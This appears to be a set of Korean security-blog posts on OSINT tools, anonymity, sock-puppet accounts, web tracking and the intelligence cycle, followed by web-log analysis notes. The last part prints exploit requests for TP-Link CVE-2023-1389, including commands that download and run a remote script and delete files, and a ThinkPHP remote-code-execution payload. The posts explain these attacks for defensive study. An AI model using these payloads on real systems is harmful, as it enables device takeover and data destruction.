이번에는 OSINT (Tool, 툴) 도구 및 서비스에 대해 소개하겠습니다.

 

OSINT 도구를 악용하여 사용하실 경우 모든 책임은 본인에게 있음을 밝힙니다.

반드시 올바른 목적과 법, 제도 내에서 사용하셔야 합니다.

 

 

The Harvester

The Harvester는 OSINT 소스를 활용하여 목표 도메인에 대한 정보를 수집하는 CLI 정보 수집 도구입니다.

이 도구를 통해 호스트 이름, IP 주소, 직원, 이메일 주소 등 다양한 정보를 검색할 수 있습니다.

 

https://github.com/laramies/theHarvester

The Harvester GitHub 주소

 

GitHub - laramies/theHarvester: E-mails, subdomains and names Harvester - OSINT

E-mails, subdomains and names Harvester - OSINT . Contribute to laramies/theHarvester development by creating an account on GitHub.

github.com

 

Github 설명에 따르면 Harvester는 레드 팀 정찰 단계에서 사용하도록 설계된 강력한 도구라고 설명하고 있다..

깃헙 주소 이미지

 

 

The Harvester는 칼리 리눅스에서 기본값으로 사용할 수 있습니다.

칼리 리눅스 문서에서 확인 가능

 

 

theHarvester 명령어 입력 시의 화면

 

 

구글을 대상으로 간단한 정찰 수행 예시

theharvester -d google.com -l 100 -b google

(도구 이름) (목표 도메인 = google.com) (최대 100개 결과 리스트) (데이터 소스 = google)

 

 

Google 하위 도메인과 연관된 IP 주소를 알아낼 수 있습니다.

 

칼리 리눅스의 문서, 혹은 CLI 환경에서 theharvester 명령을 실행하면 이 도구에 대한 도움말을 확인할 수 있습니다.

 

The Harvester는 뛰어난 OSINT 도구로 활용될 수 있습니다!

OSINT에서 익명성은 매우 중요한 요소입니다.

이전 시간에서 살펴봤듯이 여러분이 OSINT 분석가라면, 여러분의 정보가 상대방에게 노출되면 위험에 빠질 가능성이 존재합니다.

 

이번 시간에는 익명성을 위해 사용할 수 있는 기술과 도구를 소개하겠습니다.

 

하지만 이런 익명성 기술과 도구를 활용한다고 해도 인터넷에서 완전한 익명성을 달성하기는 어렵습니다. 그럼에도 불구하고 다른 사람인 것처럼 보이게 할 수 있어 소셜 미디어나 구글 등 거대 기업이 우리들의 정체성을 알아차리지 못하게 할 수 있습니다.

 

가상머신 사용하기

OSINT 전문가들은 리눅스 OS를 사용하고, 조사를 수행한 후 시스템을 재부팅하여 모든 흔적을 제거하는 것이 가장 좋은 방법이라고 조언합니다.

가상 머신을 통해 OS를 가상화하고 활동에 대한 개인정보보호를 강화할 수 있습니다.

 

이를 위해 OSINT 가상머신을 사용하거나 직접 OSINT 리눅스 배포판을 만들 수 있습니다.

 

TraceLabs에서 OSINT 가상머신을 제공합니다. 

TL OSINT VM: https://www.tracelabs.org/initiatives/osint-vm

 

OSINT VM

Trace Labs OSINT VM Crowdsourced OSINT to Find Missing Persons The Trace Labs team created a specialized OSINT VM specifically to bring together the most effective OSINT tools and customized scripts we saw being used during our Search Party CTF’s. Inspir

www.tracelabs.org

 

직접 배포판을 만들고 싶다면 아래 페이지를 참고해주세요.

DIY OSINT VM Guide: https://nixintel.info/tag/diy-buscador/

 

Nixintel Open Source Intelligence & Investigations DIY Buscador

Capturing and preserving media content is an essential part of most OSINT investigations. There are a number of tools available to do this, but my favourite my far is YouTube-dl. Despite it’s name, YouTube-dl is capable of grabbing videos quickly from a

nixintel.info

 

 

공인 IP 숨기기

IP 주소는 인터넷 상에서 우리를 드러내는 얼굴과 같습니다. IP 주소를 변경할 수 있는 도구를 사용하면 온라인 신원을 보호하고 익명성을 강화할 수 있습니다.

 

이 글에서는 공인 IP를 숨기기 위한 두 가지 도구를 소개합니다.

 

TOR 브라우저

익명성과 프라이버시 보호에 초점을 둔 특수한 웹 브라우저입니다. TOR 네트워크를 통해 트래픽을 암호화하고 중간에 여러 번 경유시켜 사용자의 IP 주소와 활동 내역을 숨깁니다. 이를 통해 인터넷 활동에 대한 추적을 어렵게 만듭니다.

 

기본적으로 모든 스크립트와 확장 기능을 차단하기 때문에 보안 위협을 최소화하는 기능도 있으며 그 외 다양한 기능들이 존재합니다.

 

자세한 내용은 공식 TOR 브라우저에서 직접 확인할 수 있습니다.

https://support.torproject.org/ko/about/

 

Tor 개요 | Tor 프로젝트 | 지원

(현재 실제로 사용되는 저지연 익명화 설계 방식 모두가 그렇듯이) Tor 역시 공격자가 통신로 처음과 끝을 조회하게 되면 속수무책입니다. 예를 들어, 귀하가 네트워크에 들어갈 때 선택한 Tor 중

support.torproject.org

 

VPN
VPN은 조사를 수행하고자 하는 사람에게 필수적인 도구입니다.

VPN을 사용하면 외부로부터 IP 주소를 숨길 수 있을 뿐만 아니라, 모든 통신에 암호화 계층을 추가하여 개인정보보호 강화에 도움을 줄 수 있습니다.

 

VPN 공급업체를 선택하기 힘들 때는 아래 가이드를 한 번 살펴보세요.

https://www.secjuice.com/how-to-choose-a-virtual-private-network-vpn-provider/

 

 

웹 브라우저에 확장 프로그램 설치

웹 브라우저에 확장 프로그램을 설치해 추적되거나 원치 않는 스크립트를 차단할 수도 있습니다.

여러 가지 확장 프로그램을 소개하겠습니다.

 

User-Agent Switcher and Manager

브라우저의 사용자 에이전트 문자열을 사용자 지정 값으로 변조합니다.

이러한 변경을 매번 수동으로 변경할 필요도 없는 기능을 갖고 있습니다.

 

 

 

No Script

JavaScript, Java, Flash 및 기타 플러그인이 사용자가 선택한 신뢰할 수 있는 웹사이트에서만 실행되도록 허용합니다.

기본적으로 JavaScript를 차단하고 크로스 사이트 스크립팅(XSS)를 방지하는 기능을 가지고 있습니다.

해당 확장 프로그램을 사용하면 웹페이지 기능이 일부 제한될 수도 있습니다.

 

 

 

Privacy Badger

이미지는 귀여운데 어떤 동물인지 모르겠네요.

Privacy Badger는 사용자의 온라인 프라이버시를 보호하고 추적을 차단하는 기능을 가지고 있습니다.

 

 

 

Ublock Origin

Ublock Origin은 광고 차단, 온라인 추적 방지, 악성코드 차단 등의 기능을 제공하는 꽤 인기 있는 확장 프로그램입니다.

화이트리스트, 블랙리스트, 동적 필터링 등 다양한 옵션을 제공하고 있습니다.

 

 

Cookie AutoDelete

쿠키 관리를 위한 브라우저 확장 프로그램입니다.

화이트리스트에 추가된 신뢰하는 웹사이트의 쿠키는 보존시킬 수 있고,

그레이리스트에 추가된 쿠키는 브라우저를 종료할 때만 삭제됩니다.

 

 

Sock Puppetry (가짜 계정) 활용

마지막으로 Sock Puppetry에 대해 알아보겠습니다.

실제 자신의 신원과 디지털 신원을 분리하는 가장 좋은 방법은 가짜 계정을 사용하는 것입니다.

 

사실 이러한 행위는 의견 조작, 여론 왜곡, 허위 정보 유포 등 부정적인 목적으로 활용되는 경우가 많아 많은 지적을 받고 있기도 합니다. 따라서 이런 계정을 사용하시려면 스스로 윤리적인 책임감을 가지고 행동하셔야 합니다.

 

Sock Puppetry은 다양한 프로젝트나 연구를 수행하기 위해 만든 대체 아이덴티티라고 볼 수 있습니다. 이러한 계정의 목적은 연구 대상과 접촉하거나 소셜 네트워크와 직접 연결되지 않고도 OSINT 조사를 수행할 수 있는 것입니다.

 

여러 가이드를 통해 Sock Puppetry에 대해 더 자세히 알아보세요.

https://www.secjuice.com/the-art-of-the-sock-osint-humint/

https://web.archive.org/web/20210125191016/https://jakecreps.com/2018/11/02/sock-puppets/

 

Creating an Effective Sock Puppet for OSINT Investigations – Introduction

Introduction and Philosophy In recent light of the epic failure by Surefire Intelligence to frame Robert Mueller for sexual assault allegations, I feel it’s important to discuss and unpack ho…

web.archive.org

https://garrettmickley.com/sockpuppet-account-creation/

 

Sockpuppet Account Creation – My Process

OSINT Investigator and privacy consultant Garrett Mickley shares his process for sockpuppet account creation. Click here to learn more.

garrettmickley.com

https://keyfindings.blog/2019/01/21/the-worlds-best-sock-puppet-not/

 Online Tracking은 인터넷 상에서의 사용자의 활동 내역을 모니터링하거나 추적하는 것을 의미합니다.

온라인 추적은 개인정보보호나 프라이버시 침해 문제와 관련되어 있기도 합니다.

 

인터넷 상에 존재하는 것은 어떤 것도 사적이지 않습니다. 우리가 신뢰하는 검색 엔진에 접속하는 순간부터 브라우저는 방문한 웹사이트에 우리들의 정보를 전달하게 되고, 브라우저를 통해 웹사이트에서 상호작용할 때마다 구성 정보뿐만 아니라 우리들을 식별할 수 있는 데이터도 전송됩니다.

 

Online Tracking의 대표적인 네 가지 개념을 알아보겠습니다.

 

Fingerprinting

인터넷 서핑으로 여러 가지 정보를 찾았을 때, 그 관련된 정보들이 소셜미디어 광고로 다시 화면에 보여진 적이 있을 겁니다. 그건 단순히 우연히 아닙니다. 우리들의 인터넷 검색 과정에서 남긴 흔적들을 감지하는 프로그램들이 있기 때문에 가능한 것입니다. 아마 여러분이 무엇을 하는지 추적하기 위해, 우리들의 동의를 구한 질문을 보신 적이 있을 것입니다.

아이폰에서는 앱마다 Tracking을 허용할 것인지 설정할 수 있다.

 

이러한 Tracking은 우리들의 관심사를 파악하고 추천 정보를 제공하기 위해 웹사이트 방문 기록을 추적하는 것입니다.

이런 Tracking으로 여러분이 누구인지, 무엇을 좋아하는지, 어디를 다녀왔는지까지 알 수 있게 됩니다.

 

이런 흔적들은 여러분이 의심하지 않는다면 큰 문제가 되지 않을 수 있습니다.

하지만 여러분들이 OSINT 분석가로서 대상에게 감지되지 않으려 한다면 이러한 흔적들은 치명적일 수 있습니다.

 

이는 대상이 여러분의 존재를 알아차리게 할 뿐만 아니라, 그 흔적을 이용해 여러분이 누구인지까지 파악할 수 있게 합니다. 여러분이 오히려 역으로 위험해질 수도 있는 것이죠.

 

IP Addresses

우리를 세상에서 연결시켜주는 IP 주소가 우리를 배신할 수도 있습니다.

 

인터넷을 사용할 때마다 우리들의 공인 IP 주소가 라우터를 통해 전송됩니다. 이를 통해 웹사이트와 통신할 수 있을 뿐만 아니라 웹사이트에 자신의 주소를 알려주고 어떤 리소스를 보내야 하며, 얼마나 걸릴지도 알려주게 됩니다.

 

이 작은 요소가 우리들의 정체성을 가장 쉽게 드러내고, 상대방이 인식할 수 있다는 점을 항상 기억해야 합니다.

 

Cookies

거의 모든 웹사이트가 최적화되고 사용자 친화적인 방식으로 작동하기 위해 쿠키라는 요소를 사용하고 있습니다.

 

쿠키는 로그인 정보, 개인화된 설정, 심지어 장바구니에 있던 내역까지 저장합니다. 그러나 이러한 항목 중 일부는 웹사이트가 우리들에 대해 더 많이 알 수 있게 해주는 주된 이유이기도 합니다. 이 쿠키가 바로 Third-party persistent cookies 또는 tracking cookies라고 알려져 있는 것입니다.

 

Third-party persistent cookies는 웹사이트 사용자의 온라인 활동을 추적하고 모니터링하는 데 사용되는 쿠키입니다.

보통 사용자가 방문한 웹사이트가 아닌 다른 도메인에서 설치되는 쿠키로 주로 광고 네트워크나 데이터 분석 회사가 설치합니다. 이 쿠키는 오랫동안 사용자의 브라우저에 남아있고, 사용자의 활동 패턴을 장기간 추적하게 됩니다.

 

이러한 쿠키의 목적은 개인 맞춤형 광고 등을 제공하려는 것이 주 목적이나, Third-party persistent cookies는 사용자 프라이버시 침해 우려가 있어 많은 논란의 대상이 되고 있기도 합니다.

원치 않는다면 브라우저 설정에서 차단하거나 삭제할 수 있지만, 이는 웹사이트 기능에 지장을 줄 수도 있습니다.

 

 

Browser Fingerprinting

마지막으로, Browser Fingerprinting은 사용자의 웹 브라우저와 기기 정보를 활용하여 사용자를 식별하는 기술입니다.

 

브라우저 유형(크롬, 사파리 등), 버전, 언어 설정, 플러그인, 폰트, 타임존, 화면 크기까지 정보를 수집합니다.

이러한 정보가 사용자별 고유한 Fingerprint를 생성합니다. 이를 통해 사용자를 식별하고 추적할 수 있게 됩니다.

쿠키를 차단하고, 익명 브라우징을 사용해도 브라우저 Fingerprint 정보로 사용자를 식별할 수 있습니다.

 

이 디지털 핑거프린트가 실제로 가장 위험하고 침입적인 요소입니다.

실제로 웹 브라우저가 제공하는 정보를 확인할 수 있는 여러 페이지가 존재하며 대표적인 페이지를 알려드립니다.

여러분의 정보가 인터넷 상에서 얼마나 익명인지 확인해보세요.

 

 

https://coveryourtracks.eff.org

 

https://browserleaks.com

 

 

이상으로 Online tracking의 개념들을 살펴보았으며, 다음 시간에는 익명화에 대해서 알아보겠습니다.


참고자료:

https://www.theguardian.com/technology/2012/apr/23/doubleclick-tracking-trackers-cookies-web-monitoring

 

DoubleClick: What is it and what does it do?

DoubleClick appeared more than any other name in our Tracking the Trackers data. Here we find out as much as we can about what it does.

www.theguardian.com

https://www.theguardian.com/technology/2012/apr/23/facebook-tracking-trackers-cookies-web-monitoring

 

Facebook: What is it and what does it do?

Facebook appeared as the fourth-biggest name in our Tracking the Trackers data. Here we find out as much as we can about what it does.

www.theguardian.com

https://www.theguardian.com/technology/2012/apr/23/google-tracking-trackers-cookies-web-monitoring

 

Google: What is it and what does it do?

Google appeared as the sixth-biggest name in our Tracking the Trackers data. Here we find out as much as we can about what it does.

www.theguardian.com

https://www.theguardian.com/technology/2012/apr/23/cookies-and-web-tracking-intro

 

Tracking the trackers: Introduction to cookies and web tracking

What exactly are web cookies and what do they do? This guide gives you an introduction to help you understand more about our Tracking the Trackers project.

www.theguardian.com

https://privacy.net/stop-cookies-tracking/

 

How cookies track you around the web & how to stop them | Privacy.net

Some cookies are harmless, but others remain active even on websites that they didn't originate from, gathering information about your behavior and what you click on. These are called third-party persistent cookies or, more colloquially, tracking cookies.

privacy.net

 

https://www.cookieyes.com/blog/tracking-cookies/

 

What are Tracking Cookies & How to Block Them - CookieYes

Want to limit ads that follow you on the web or protect your website users from tracking cookies? Here’s a primer to answer your questions on cookie tracking.

www.cookieyes.com

 

이번 시간에는 Intelligence Cycle에 대해서 알아보겠습니다.

 

여러분이 어떤 소속이든 어떤 Role을 가지고 있든, 정보 수집 및 분석 상황에서 직면하는 과제는 동일할 것입니다.

여러분이 직면하게 될 과제는 데이터를 수집하고 그 방대한 데이터를 분석하여 해결책을 찾아야 하는 것이죠

 

대량의 데이터를 활용하여 원하는 해결책을 설명하는 보고서(intelligence report)를 작성해야 하는데..
문제는 이러한 보고서를 만들어내는 것이 쉽지 않다는 점입니다. (어떤 종류의 보고서든 항상 쉽지 않아..)

단순히 데이터를 수집하는 것뿐만 아니라, 이를 체계적으로 분류하고 구조화하여 정보로 전환하는 과정 혹은 프로세스가 필요합니다.

 

 

이를 위해 Intelligence Cycle 프로세스가 활용됩니다. 이 순환적 모델은 수집한 데이터와 정보를 조직에 도움이 될 수 있게 하는 일련의 단계와 절차를 설명합니다.

위키 백과에서 확인할 수 있는 이미지

 

 

해당 개념에 대해 더 자세히 확인하고 싶다면  CIA 문서도 확인하는 것을 권장드립니다.

https://www.cia.gov/spy-kids/parents-teachers/docs/Briefing-intelligence-cycle.pdf

 

 

이미지처럼 Intelligence Cycle은 5가지 핵심 단계로 구성됩니다.

 

1. Planning and Direction

첫 번째 단계는 조사의 범위와 목적을 정의하게 됩니다. 이 단계에서 여러분의 목적과 필요한 정보 유형을 정의하고 결정하게 됩니다.

 

어떠한 정보가 필요한지 올바르게 정의하여야만 이후 단계에서의 결과물이 원하는 방향으로 흘러갈 수 있습니다.

충분한 검토가 필요할 수 있습니다.

 

2. Collection (gathering of data and information)

두 번째 단계에서는 정보 수집을 위해 어떤 프로세스를 사용할지 식별하는 것이 목표입니다.

다양한 기법을 활용하여 필요한 데이터를 수집하게 되는 단계입니다.

 

수집 프로세스는 다양하고 광범위하기에 지금 다룰 수 없습니다.

 

3. Processing of data and information / Processing and Exploitation

 

세 번째 단계에서는 이전 단계에서 수집한 모든 것을 처리하는 단계입니다.

여기서의 목표는 단순히 정보를 시각화하는 것뿐만 아니라 디코딩, 암호 해독, 검증, 평가 기법을 적용하여 수집된 방대한 정보를 필터링하고 유용한 데이터를 식별하는 단계입니다.

 

4. Analysis and Production

네 번째 단계에서는 분석가들의 핵심 역량을 발휘할 수 있는 단계입니다.

이전 단계에서 필터링한 모든 정보를 종합하여 초기 문제에 대한 해결책을 도출하고, 이 과정을 명확히 설명할 수 있는 산출물(보고서, 발표 등)을 생성하는 단계입니다.

 

분석가의 역량에 따라 기타 이해관계자들을 더 효율적으로 설득할 수 있고, 의미있는 정보로 가공될 수 있습니다.

 

5. Dissemination and Integration / Dissemination of intelligence to the clients

마지막 단계입니다. 이 과정을 통해 개발한 산출물을 개인 또는 그룹(혹은 의뢰한 고객사)에게 전달하게 됩니다.

이를 통해 산출물을 제공받은 개인 또는 그룹이 문제 해결을 위해서 정보에 기반한 적절한 의사결정을 내리는 데 도움을 줄 수 있게됩니다.

 

참고: Dissemination은 정보나 지식을 널리 퍼뜨리거나 배포하는 것을 의미

 


 

이번 시간에는 Intelligence Cycle 5가지 핵심에 대해 알아보았습니다.

 

다소 이론적이고 재미없을 만한 내용일 수도 있지만, 이 과정을 이해한다면 여러분은 intelligence process를 성공적으로 수행하는 데 필요한 것을 모두 알게 되신 겁니다.

 

다음 시간에는 온라인에서 스스로를 보호하는 방법에 대해 알아보겠습니다!

 


 

참고자료

https://en.wikipedia.org/wiki/Intelligence_cycle

https://www.cia.gov/spy-kids/parents-teachers/docs/Briefing-intelligence-cycle.pdf

https://www.sciencedirect.com/topics/computer-science/intelligence-cycle

https://www.e-education.psu.edu/sgam/node/15

https://www.groupsense.io/resources/how-to-use-the-intelligence-cycle-to-secure-your-brand

 

 

OSINT의 정의

OSINT(Open-Source Intelligence)는 공개된 출처에서 얻은 정보들을 의미합니다. OSINT는 주로 법집행(law enforcemnet), 사이버 범죄 활동, 비즈니스 환경 등에 널리 사용되고 있습니다. 

 

OSINT(Open-Source Intelligence)는 사이버 보안과 다양한 분야에서 핵심적인 역할을 담당하는 강력한 도구입니다. 공격자와 방어자, 비즈니스 및 법 집행 기관 모두가 OSINT를 활용하여 자신의 목적을 달성할 수 있습니다.

 

OSINT로 수집한 데이터는 공격자에게는 표적 식별 및 취약점 발견의 기반이 되고, 방어자에게는 공격 표면 축소와 대응 전략 수립의 기반이 됩니다. 또한 기업은 OSINT로 경쟁사 모니터링, 고객 이해도 제고, 보안 위험 관리 등을 수행할 수 있으며, 정부 기관은 OSINT로 범죄자 추적과 프로파일링을 실행할 수 있습니다.

 

OSINT로 활용될 수 있는 예시

 

OSINT의 데이터 예시를 살펴보겠습니다.

 

1. Job Description에 회사 내부 시스템에 대한 정보를 기재할 경우

회사에서 시스템 관리자를 채용하기 위해 직무 설명서에 "Windows Server 2022 및 Ubuntu를 잘 다루는 경력자를 채용 중입니다."

라는 내용은 회사 내부 시스템에 대한 정보를 누설하는 것으로, 공격자는 이를 이용해 네트워크에 침투한 뒤 Lateral movement 혹은 privilege escalation을 계획할 수 있게 됩니다.

 

2. 회사 공식 웹 페이지에서 일부 직원들 혹은 전체 직원을 소개할 경우

특정 부서나 혹은 전체 직원을 소개하는 페이지가 있다고 가정합니다. 예를 들면, "저희 보안 팀을 소개합니다!"

 

회사의 공개된 정보를 보며 공격자는 매우 쉽게 사회공학 공격의 대상이 될 수 있는 직원들의 목록을 수집할 수 있고 회사의 조직도를 쉽게 파악하게 됩니다. 공격자는 특정 직원을 향해 스피어피싱을 하기 쉬워지겠죠...

 

심지어 어떤 회사는 직원들의 연락처, 이메일 주소까지 공개하기도 하는데 이는 사회공학 공격을 크게 도와주는 행위입니다. 

 

3. 개인의 소셜미디어 프로필

개인의 소셜미디어 프로필을 통해 잘 구축된 개인정보들은 특정 개인을 더 잘 이해하고 다양한 정보를 수집할 수 있습니다.

생년월일, 거주지, 친구, 관심사, 가족 등.

 

4. 소셜미디어에 게시된 지오태깅된 사진 및 메타데이터에 포함된 기기 정보

소셜미디어에 게시된 지오태깅된 사진과 메타데이터에 포함된 기기 정보를 통해 사진에서 촬영된 위치와 기기를 한 번에 알아낼 수 있습니다. 

 

위에서 언급한 예시는 수많은 공개된 데이터 중 일부일 뿐입니다. 

 

이러한 정보들을 잘 활용한다면 공격자와 방어자 모두에게 유용하게 활용될 수 있습니다.

 

공격자는 은밀하게 목표물에 대한 정보를 충분히 파악하여 이를 토대로 공격 계획을 세울 수도 있습니다.

반면 블루팀은 인터넷상에 공개된 정보가 어떤 것들이 있는지 파악하고, 사용자 교육 훈련 및 소셜미디어에 대한 보안 대책을 마련할 수 있습니다.

 

 


 

OSINT가 유용한 이유

 

크게 4가지 역할군으로 나누어서 유용한 이유에 대해 설명할 수 있습니다.

 

Blue Team / Defenders

방어하는 입장에서 OSINT가 왜 유용할까요?

 

인터넷에 공개된 정보들 속에서 방어자들은 공개된 정보를 줄이거나 다른 방법을 통해 공격을 완화시키거나 그 효과를 감소시킬 수 있습니다.

 

만약 공격자가 회사 내 직원에 대한 상세한 프로필 정보를 보고 똑같이 변장한다면 이는 매우 위험하게 악용될 가능성이 높습니다. 공격자를 돕는 정보를 줄이거나 제거함으로써, 방어자는 공격 표면(attack surface), 즉 공격자가 내부 시스템에 접근할 수 있는 영역을 줄일 수 있습니다.

 

이러한 활동은 종종 공개 노출 평가(public exposure assessments)라고 불리기도 합니다. 직원들이 소셜 미디어에 올린 정보 수집, 인터넷에 노출된 내부 자산 식별, DNS 검사, 오래된 로그인 포털이나 웹사이트 찾기 등이 해당합니다.

 

Red Team / Hackers / Attackers

공격하는 입장에서 OSINT를 잘 활용한다면 기업이 사용하는 시스템을 파악하고, 잠재적인 취약점과 공격 방법을 사전에 계획할 수 있습니다.

 

직원 정보를 수집하면 사회공학 공격과 스피어피싱 이메일을 효과적으로 실행할 수 있습니다. 공격자는 피해자에게 더 신뢰할 만한 것으로 보이도록 공격을 설계할 수 있습니다.

 

따라서 기업은 자사의 시스템과 직원들이 온라인에서 공유하는 정보에 주의를 기울여야 합니다. 이러한 정보를 악의적인 목적으로 수집하는 과정을 목표 정보 수집(target information gathering) 또는 수동 정보 수집(passive information gathering)이라고 일컫습니다. 이는 공격자가 대상 시스템과 직접 상호작용하지 않고 정보를 수집할 수 있기 때문입니다.

 

비즈니스

비즈니스 상황에서는 어떻게 활용될까요?

 

기업들은 OSINT를 활용하여 경쟁업체를 모니터링하고, 시장 동향을 파악하며, 고객에 대한 정보를 더 잘 이해하고 효과적으로 소통할 수 있습니다. 또한 데이터를 통해 비즈니스 운영을 개선하고, 유출된 자격 증명 정보, 직원들의 기밀 정보, 해커들의 공격 계획 등 보안 위험도 모니터링할 수 있습니다.

특히 경쟁업체의 소셜미디어 채널을 모니터링하여 그들의 강점을 파악하여 자사의 소셜미디어 및 마케팅 전략을 보완할 수 있습니다.

 

법 집행기관

정부와 경찰 기관은 범죄자, 용의자, 테러리스트와 같은 주요 대상자를 추적하기 위해 OSINT를 활용할 수 있습니다.

프로파일링은 개인에 대한 정보를 수집하여 그의 성격과 행동 패턴을 파악하는 활동으로 개인의 관심사와 이전 위치를 바탕으로 특정 시간에 그가 어디에 있을지까지 예측할 수 있습니다.

OSINT는 온라인상에서 자신을 숨기지 못한 사이버 범죄자의 신원을 밝혀내는 데 활용될 수 있습니다.

Trace Labs와 같은 비영리 단체는 온라인 OSINT 대회를 개최하여 실종자 추적과 법 집행 기관을 지원하기도 합니다.

 

Trace Labs과 같은 단체가 관심있으시다면 https://www.tracelabs.org/ 사이트를 직접 확인해보세요. :)

 

다음 시간에는 Intelligence Cycle에 대해 알아보겠습니다.

Deep Linking 개요

  • 딥링킹은 특정 유형의 링크를 처리하고 사용자를 앱(예: 특정 활동)으로 직접 보내는 메커니즘입니다.
  • 사용자가 모바일 앱으로 직접 특정 콘텐츠로 연결되도록 하는 링크를 생성하는 기술입니다. 이를 통해 웹사이트나 다른 앱에서 특정 앱의 특정 화면으로 이동할 수 있습니다. 일반적으로 다음과 같은 기능과 장점이 있습니다:
  1. 사용자 경험 개선: Deep Linking은 사용자가 특정 콘텐츠로 쉽게 이동할 수 있도록 도와줍니다. 예를 들어, 특정 제품 상세 페이지로 바로 이동하거나 앱에서 로그인이나 결제 페이지로 이동할 수 있습니다.
  2. 마케팅 및 프로모션: 웹사이트나 소셜 미디어에서 앱의 특정 콘텐츠를 직접 링크하여 사용자들을 앱으로 유도할 수 있습니다. 이를 통해 앱 다운로드, 사용자 활동 증가 등을 도모할 수 있습니다.
  3. 측정 및 분석: Deep Linking을 통해 사용자의 행동을 추적하고 분석할 수 있습니다. 특정 링크를 통해 사용자가 앱으로 어떻게 이동하는지를 추적하여 사용자 동작을 이해하고 사용자 경험을 개선할 수 있습니다.
  4. SEO 향상: 안드로이드 앱의 Deep Linking을 구현하면 검색 엔진이 해당 앱의 콘텐츠를 색인화하고 검색 결과에 표시할 수 있습니다. 이는 앱의 발견성을 향상시키고 유기적인 트래픽을 늘리는 데 도움이 됩니다.
  • Android에서는 개발자가 두 가지 유형의 링크를 만들 수 있습니다
    • 딥링크
    • 안드로이드 앱 링크

 

  • 일반적으로 /.well-known/assetlinks.json 요청은 공격이 아닐 수 있습니다. 해당 URL은  Android 앱 링크로 사용자가 앱을 선택할 필요 없이, 웹사이트 URL을 클릭하면 Android 앱에서 콘텐츠가 바로 열리도록 하는 특별한 유형의 딥 링크입니다.

 

  • .well-known 디렉토리는 RFC5785에 그 의미가 설명되어 있습니다.
  • /.well-known/는 정해진 URI 스키마 상에서 잘 알려진 위치들(well-known locations)의 경로 프리픽스를 정의해 줍니다.
  • https://datatracker.ietf.org/doc/html/rfc5785 해당 문서에서 자세하게 확인 가능합니다.

 

  • 악의적인 공격자가 /.well-known/assetlinks.json 를 요청하는 케이스
    • 딥 링크를 통한 공격 시도로 볼 수 있다.
    • /.well-known/assetlinks.json은 Android 앱과 웹 사이트 간의 딥 링크 관련 인증 파일로, 안드로이드 앱이 특정 웹 사이트에 대한 딥 링크를 처리할 수 있는 권한을 부여하는 데 사용됩니다. 공격자는 이를 이용하여 앱 사용자를 악의적인 앱으로 유도하거나 사용자의 개인 정보를 탈취하는 등의 악의적인 행위를 시도할 수 있습니다.
    • 일반적으로 이러한 공격은 사용자가 악의적인 딥 링크를 통해 인증되지 않은 앱에 리디렉션되어 개인 정보를 요구하거나, 사용자의 기기에 악성 앱을 다운로드하도록 유도하는 형태로 이뤄질 수 있습니다.

대응방안

  • .well-known/assetlinks.json 파일을 안전하게 유지
    • 인증서를 사용하여 암호화된 연결 설정 (SSL/TLS 인증서)
    • 액세스 제어 설정 (불필요한 요청 차단)
    • 파일 권한 설정 (디렉토리 및 하위 파일의 권한을 적절하게 설정)
    • 로그 및 모니터링 설정 (액세스 로그 모니터링)
    • 정기적인 보안 감사 (파일에 대한 정기적인 검토)
  • 앱과 웹 서버 간의 딥 링크 권한을 정확하게 관리
  • 사용자에게 앱과 관련된 딥 링크를 사용할 때 주의해야 함을 경고
  • /.well-known/assetlinks.json은 Android 앱과 웹 사이트 간의 딥 링크 관련 인증 파일로 공격자가 앱 사용자를 악의적인 앱으로 유도하거나 사용자의 개인 정보를 탈취하는 등의 악성행위 시도할 수 있음
  •  

TP-Link Archer 기가비트 인터넷 라우터에 대한 악용 시도(CVE-2023-1389)

  • 1.1.4 빌드 20230219 이전의 P-Link Archer AX21(AX1800) 펌웨어 버전에는 웹 관리 인터페이스에서 /cgi-bin/luci;stok=/locale 엔드포인트의 국가 형식으로 명령 주입 취약점이 포함되어 있습니다.
  • 특히, 쓰기 작업의 국가 매개변수는 popen() 호출에 사용되기 전에 삭제되지 않았으므로 인증되지 않은 공격자가 간단한 POST 요청을 통해 루트로 실행될 명령을 주입할 수 있습니다.

PoC 코드 / 샘플 코드

  • 해당 PoC 코드를 직접 공격하여 악용하는 경우 법적 처벌 조치를 받으실 수 있습니다.
POST /cgi-bin/luci/;stok=/locale?form=country
HTTP/1.1Host: [redacted]
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 60
operation=write&country=$(id>`wget <http://zvub>[.]us/y -O-|sh`)

 

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget <http://192.3.152.183/tenda.sh>; chmod 777 tenda.sh; ./tenda.sh)

샘플 코드 설명

  1. m -rf *: 현재 디렉토리의 모든 파일 및 디렉토리를 삭제 (rm 명령어는 파일이나 디렉토리를 삭제하는 명령어이며, -rf 옵션은 강제로 삭제하고, 재귀적으로 하위 디렉토리까지 삭제하라는 옵션입니다.)
  2. cd /tmp: 임시 디렉토리로 이동.
  3. wget http://192.3.152.183/tenda.sh: 외부 서버에서 tenda.sh라는 스크립트를 다운로드
  4. chmod 777 tenda.sh: 다운로드한 스크립트에 실행 권한을 부여
  5. ./tenda.sh: 부여한 실행 권한으로 스크립트를 실행

 

  • 현재까지 성공적인 인젝션이 관찰된 적이 없으므로, 주로 취약점이 존재하는지 유무를 확인하기 위한 스캔성 접근 다수 확인됨
  • 출발지 IP 193.32.162.189, 185.224.128.10 (네덜란드)로부터 악용 시도에 적극적으로 참여하는 것으로 추정됨
  • 해당 취약점이 수정된 공식 업데이트로 버전을 패치해야 합니다.

주의: 본 공격구문을 실제 웹 서버에 공격하여서 발생한 모든 결과는 본인이 책임져야 합니다.

ThinkPHP

  • 중국 TopThink에서 개발한 php 기반 웹 어플리케이션 프레임워크
  • Apache2 기반으로 만들어졌으며, 중국 내에서는 빠른 프로젝트 개발 진행이 가능했기에 인기가 많았다.
  • Shodan 결과에 의하면 2023/6/23 기준으로 약 32,269개 이상 활성화 되어있다. 아시아 지역에서 많이 사용되어지고 있다.
  • 사진 2를 참고하면 활성화 된 국가의  Top 10 List 를 확인할 수 있다. (한국은 127개)

사진 1
사진 2

 

 

이러한 ThinkPHP에는 원격코드 실행 취약점이 존재한다. (CVE-2018-20062)

 


Payload

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars [1][]= command

Payload 가 실행되는 이유는 '\' 문자가 필터링 되지 않기 때문이다.

 

적절한 (입력 검증) 필터링 부재로 인해 \think\app은 class로, invokefunction은 Method로 동작하게 되는 것이다.

 

 

공격구문

